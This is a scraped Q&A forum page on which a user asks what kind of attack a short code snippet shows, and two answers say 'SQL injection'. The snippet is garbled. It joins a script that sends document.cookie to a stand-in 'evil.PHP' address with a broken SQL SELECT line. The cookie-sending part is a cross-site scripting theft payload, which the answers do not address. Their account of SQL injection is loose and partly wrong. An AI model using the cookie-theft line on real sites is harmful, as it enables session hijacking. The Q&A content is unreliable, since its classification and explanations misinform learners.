Which type of attacks is occurring in the example below? - ProProfs Discuss
Advertisement

Which type of attacks is occurring in the example below?

Given the following code:
< script type="text/JavaScript">var adr = ". ./evil.PHP?breadmonster=' +escape (document.cookie) ;var quary query = "SELECT * FROM users WHERE name = 'smith';

Asked by Heavenlymixed, Last updated: Apr 11, 2024

+ Answer
Request
Question menu
Vote up Vote down

2 Answers

T. Lopez

T. Lopez

Let's see how far my knowledge stretches

T. Lopez
T. Lopez, Biology student, Graduation, Detroit

Answered May 17, 2019

The correct answer to this question isSQL injection. These injections are used to destroy a database. SQL injections occur when malicious code is placed in SQL statements. This is done through web input, and it is one of the most common techniques of web hacking. It usually happens one asks for a contribution or username.

Instead of providing the correct information, incorrect information is intentionally given, which will harm the database. By using the SQL injections, a hacker can gain access to all of the user's passwords and usernames. Local databases receive one of the most SQL injections.

upvote downvote
Reply 

heavenlymixed86

heavenlymixed

heavenlymixed86
Heavenlymixed

Answered Feb 08, 2018

SQL injection
upvote downvote
Reply 

Advertisement
Advertisement
Search for Google images Google Image Icon
Select a recommended image
Upload from your computer Loader
Image Preview
Search for Google images Google Image Icon
Select a recommended image
Upload from your computer Loader
Image Preview
Search for Google images Google Image Icon
Select a recommended image
Upload from your computer Loader

Email Sent
We have sent an email to your address "" with instructions to reset your password.